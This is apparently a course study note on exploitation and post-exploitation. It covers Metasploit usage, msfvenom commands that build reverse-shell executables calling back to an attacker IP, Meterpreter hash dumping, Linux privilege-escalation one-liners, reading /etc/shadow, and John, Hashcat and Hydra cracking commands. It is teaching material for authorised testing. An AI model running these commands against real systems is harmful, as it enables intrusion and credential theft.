Exploitation & Post-Exploitation

📝 Concept Note — EHPT Unit III | Source: MCA Sem III Syllabus

---

Metasploit Framework

Architecture

┌─────────────────────────────────────┐
│           Metasploit Framework       │
├───────────┬──────────┬──────────────┤
│ Auxiliary  │ Exploit  │   Payload    │
│ (scanning, │ (attack  │ (code that   │
│  fuzzing)  │  code)   │  runs after) │
├───────────┼──────────┼──────────────┤
│  Encoder   │   NOP    │    Post      │
│ (evade AV) │(padding) │(post-exploit)│
└───────────┴──────────┴──────────────┘

Module Types

Module	Purpose	Example
Auxiliary	Scanning, fuzzing, sniffing	auxiliary/scanner/smb/smb_version
Exploit	Attack code targeting a vulnerability	exploit/unix/ftp/vsftpd_234_backdoor
Payload	Code that executes on target after exploit	windows/meterpreter/reverse_tcp
Encoder	Obfuscate payload to evade antivirus	x86/shikata_ga_nai
Post	Post-exploitation modules	post/multi/recon/local_exploit_suggester

Essential msfconsole Commands

msfconsole                        # Launch Metasploit
 
# Finding modules
search vsftpd                     # Search for exploits
search type:exploit platform:linux # Filtered search
 
# Using a module
use exploit/unix/ftp/vsftpd_234_backdoor
show options                       # See required settings
set RHOSTS 192.168.1.10           # Set target IP
set LHOST 192.168.1.5             # Set attacker IP (for reverse shells)
set LPORT 4444                     # Set listening port
run                                # Execute exploit
 
# Session management
sessions                           # List active sessions
sessions -i 1                     # Interact with session 1
background                         # Background current session

Key Variables

Variable	Meaning	Example
RHOSTS	Remote host (target)	192.168.1.10
RPORT	Remote port	21 (FTP), 445 (SMB)
LHOST	Local host (attacker)	192.168.1.5
LPORT	Local port (listener)	4444

Payloads — Staged vs Stageless

Type	Format	Description
Staged	windows/meterpreter/reverse_tcp	Sends small stager first, downloads full payload — smaller, more evasive
Stageless	windows/shell_reverse_tcp	Entire payload sent at once — larger, but works in restricted networks

MSFvenom — Payload Generation

# Generate a Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf > shell.elf
 
# Generate a Windows executable
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > shell.exe

---

Meterpreter Commands

Once you have a Meterpreter session:

# System info
sysinfo              # OS, hostname, architecture
getuid               # Current user
ps                   # Running processes
 
# File operations
download /etc/passwd  # Download file from target
upload /tmp/tool.sh   # Upload file to target
ls                    # List files
cd /tmp               # Change directory
 
# Advanced
shell                 # Drop to OS command shell
migrate 1234          # Migrate to another process (for stability)
hashdump              # Dump password hashes (needs SYSTEM)
run post/multi/recon/local_exploit_suggester  # Find privesc paths

---

Privilege Escalation

Linux Privilege Escalation

Check sudo Permissions

sudo -l
# Look for entries like: (ALL) NOPASSWD: /usr/bin/vim

If vim has sudo: sudo vim -c ':!bash' → root shell

Find SUID Binaries

find / -perm -4000 -type f 2>/dev/null

SUID binaries run with the owner’s permissions (often root). If a SUID binary can execute commands, it’s a path to root.

GTFOBins

Website (https://gtfobins.github.io/) that lists Unix binaries exploitable for privilege escalation.

Example — SUID find:

find . -exec /bin/bash -p \;
# -p preserves SUID privileges → root shell

After Getting Root

id                     # Confirm: uid=0(root)
cat /etc/shadow        # Read password hashes
cat /etc/passwd        # Read user accounts

Windows Privilege Escalation

Technique	Description
Unquoted Service Path	Service path without quotes allows DLL injection
Weak Registry Permissions	Modify service configuration in registry
Token Impersonation	getsystem in Meterpreter
AlwaysInstallElevated	MSI files install with SYSTEM privileges

---

Password Attacks

Identifying Hash Types

Hash Example	Algorithm	Length
5d41402abc4b2a76b9719d911017c592	MD5	32 hex
aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434d	SHA-1	40 hex
$6$rounds=5000$salt$hash...	SHA-512 (Linux)	Variable
Administrator:500:aad3b435...:::	NTLM (Windows)	LM:NTLM format

John the Ripper

# Dictionary attack
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
 
# Show cracked passwords
john --show hashes.txt
 
# Specify hash format
john --format=raw-md5 --wordlist=rockyou.txt hashes.txt

Hashcat

# MD5 dictionary attack (mode 0)
hashcat -m 0 hashes.txt rockyou.txt
 
# NTLM (mode 1000)
hashcat -m 1000 hashes.txt rockyou.txt
 
# SHA-256 (mode 1400)
hashcat -m 1400 hashes.txt rockyou.txt

Hydra — Online Brute Force

# SSH brute force
hydra -l admin -P rockyou.txt ssh://192.168.1.10
 
# HTTP form brute force
hydra -l admin -P rockyou.txt 192.168.1.10 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"

⚠️ Online brute force is slow and noisy — easily detected by SOC/SIEM. Use only in authorised testing.

---

Related Concepts

• Ethical Hacking Fundamentals — Legal context and phases
• Reconnaissance & Scanning — What comes before exploitation
• Web Application Security — Web-specific exploitation
• VAPT Reporting — Documenting exploitation findings
• Metasploit Cheatsheet ⚡
• EHPT MOC — Subject navigation